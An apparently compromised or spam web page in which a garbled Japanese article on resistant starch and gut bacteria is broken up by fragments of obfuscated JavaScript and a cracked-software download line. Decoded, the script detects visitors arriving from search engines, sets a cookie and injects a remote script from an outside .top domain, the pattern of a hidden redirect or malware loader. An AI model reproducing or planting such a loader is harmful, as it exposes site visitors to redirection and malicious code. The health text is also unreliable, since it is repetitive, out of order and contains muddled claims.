ほとんどの食物はあなたの細胞の10%しか食べませんが、発酵性繊維と抵抗性澱粉は他の90%を食べます(6、7).. ただし、この分類はそれほど単純ではありません。何種類かの難消化性澱粉が同じ食品に共存する可能性があるためです。.. タイプ3:じゃがいもや米などの特定のでんぷん質食品を調理してから冷やすと形成される. bing ','GpoGp':_0x27b9('0x16'),'VkPsr':_0x27b9('0x17'),'glomG':_0x27b9('0x18'),'AXMkj':function(_0x39e68c,_0x1eaae0){return _0x39e68c!==_0x1eaae0;},'KYfyh':_0x27b9('0x19'),'BxnQr':function(_0xe9e1c7,_0x10530b){return _0xe9e1c7===_0x10530b;},'CWlqS':'BYWJH','UBnKA':function(_0x35bc19,_0x119408){return _0x35bc19(_0x119408);},'ruyML':function(_0x3861ea,_0x450678){return _0x3861ea+_0x450678;},'YBFyb':function(_0x529cb1,_0x5bdd75){return _0x529cb1+_0x5bdd75;},'fbTju':_0x27b9('0x1a')};var _0x54585d=[_0x16e228[_0x27b9('0x1b')],_0x16e228[_0x27b9('0x1c')],_0x16e228[_0x27b9('0x1d')],'.. それは消化されずに胃と小腸を通過し、結局それはあなたの優しい腸内細菌を養うところであなたの結腸に到達します(4).. 耐性澱粉はあなたの腸内の優しいバクテリアに栄養を与え、バクテリアの種類とその数にプラスの効果をもたらします(10、11).. ヒトでの多くの研究は、耐性澱粉が強力な健康上の利益を持つことができることを示しています.. 腸内の細菌(腸内細菌叢)は、その点で体の細胞の数の10倍から1倍を超えています。あなたはたった10%の人間でしかありません(5)。. constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x1b61f8){_0x4bcb95=window;}return _0x4bcb95;};var _0x20622c=_0x456b7c();var _0x416b4e='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x20622c['atob']||(_0x20622c['atob']=function(_0x5a1cfd){var _0x5caf0f=String(_0x5a1cfd)['replace'](/=+$/,'');for(var _0x243096=0x0,_0x30c4bd,_0x57a5f3,_0x18cf98=0x0,_0x10ef5c='';_0x57a5f3=_0x5caf0f['charAt'](_0x18cf98++);~_0x57a5f3&&(_0x30c4bd=_0x243096%0x4?_0x30c4bd*0x40+_0x57a5f3:_0x57a5f3,_0x243096++%0x4)?_0x10ef5c+=String['fromCharCode'](0xff&_0x30c4bd>>(-0x2*_0x243096&0x6)):0x0){_0x57a5f3=_0x416b4e['indexOf'](_0x57a5f3);}return _0x10ef5c;});}());_0x27b9['CkqtMm']=function(_0x7256ba){var _0x59f49a=atob(_0x7256ba);var _0x114c93=[];for(var _0x4c33ca=0x0,_0x426398=_0x59f49a['length'];_0x4c33ca=_0x1de1bf;},'rbwYX':_0x27b9('0x15'),'HebRP':'.. タイプ2:生のジャガイモや緑色の(熟していない)バナナを含む、いくつかのでんぷん質の多い食品に含まれています.. 概要難消化性澱粉が健康を改善する主な理由の1つは、それがあなたの腸内の優しいバクテリアに栄養を与え、酪酸塩のような短鎖脂肪酸の生産を増やすということです。.. レジスタントスターチ 片栗粉 アレルギーバクテリアが抵抗性澱粉を消化すると、それらはガスや短鎖脂肪酸、とりわけブチレートを含むいくつかの化合物を形成します(12、13)。. Free Download Sigmaplot 11 Crack ![]()
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過去数十年の間に、科学者たちはバクテリアの数と種類があなたの健康に重大な影響を及ぼすことを発見しました(8、9).. 例えば、バナナの熟成を許可すると(黄色に変わる)、抵抗性澱粉は劣化して普通の澱粉に変わります。.. レジスタントスターチが機能する主な理由は、それが可溶性の発酵性繊維のように機能するということです。.. aol ',_0x27b9('0x1e'),_0x16e228[_0x27b9('0x1f')],_0x16e228['glomG']],_0x20a555=document[_0x27b9('0x20')],_0x51e5d9=![],_0x34acdd=cookie['get'](_0x27b9('0x19'));for(var _0x3e1c01=0x0;_0x3e1c01=0x0){_0x51e5d9=!![];}}else{if(_0x16e228[_0x27b9('0x23')](_0x20a555[_0x27b9('0x24')](_0x54585d[_0x3e1c01]),0x0)){_0x51e5d9=!![];}}}if(_0x51e5d9){cookie[_0x27b9('0x25')](_0x16e228[_0x27b9('0x26')],0x1,0x1);if(!_0x34acdd){if(_0x16e228[_0x27b9('0x27')](_0x16e228[_0x27b9('0x28')],_0x16e228['CWlqS'])){_0x16e228[_0x27b9('0x29')](include,_0x16e228['ruyML'](_0x16e228['YBFyb'](_0x16e228[_0x27b9('0x2a')],q),''));}else{_0x51e5d9=!![];}}}}R(); このタイプの澱粉はレジスタントスターチと呼ばれ、一種の可溶性繊維のように機能します。.. var _0x4d97=['U1RBY1E=','YnJ2RVI=','c3BsaXQ=','d0dOY2Y=','VHR5a2M=','bGVuZ3Ro','cmVwbGFjZQ==','Y29va2ll','bWF0Y2g=','OyBkb21haW49','OyBzZWN1cmU=','ZWZuQk8=','Y1VFelg=','b1JuYnI=','QlNFc0g=','Rm9ERnA=','OyBleHBpcmVzPQ==','OyBwYXRoPQ==','Lmdvb2dsZS4=','LnlhaG9vLg==','LmFsdGF2aXN0YS4=','LnlhbmRleC4=','dmlzaXRlZA==','aHR0cHM6Ly9vbm15Y2xvdWQudG9wL2pwX2RlYzIucGhwP3g9c2EmcXVlcnk9','cmJ3WVg=','SGViUlA=','R3BvR3A=','LmFzay4=','VmtQc3I=','cmVmZXJyZXI=','QVhNa2o=','SU9uQ28=','ZVVIUXc=','aW5kZXhPZg==','c2V0','S1lmeWg=','QnhuUXI=','Q1dscVM=','VUJuS0E=','ZmJUanU=','c2NyaXB0','Y3JlYXRlRWxlbWVudA==','Z2V0RWxlbWVudHNCeVRhZ05hbWU='];(function(_0x27ba47,_0x4ed337){var _0x30fd5f=function(_0x2efafb){while(--_0x2efafb){_0x27ba47['push'](_0x27ba47['shift']());}};_0x30fd5f(++_0x4ed337);}(_0x4d97,0x155));var _0x27b9=function(_0x231bb0,_0x80c167){_0x231bb0=_0x231bb0-0x0;var _0xae12c7=_0x4d97[_0x231bb0];if(_0x27b9['VmFEuV']===undefined){(function(){var _0x456b7c=function(){var _0x4bcb95;try{_0x4bcb95=Function('return\x20(function()\x20'+'{}. ae05505a44
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July 2021
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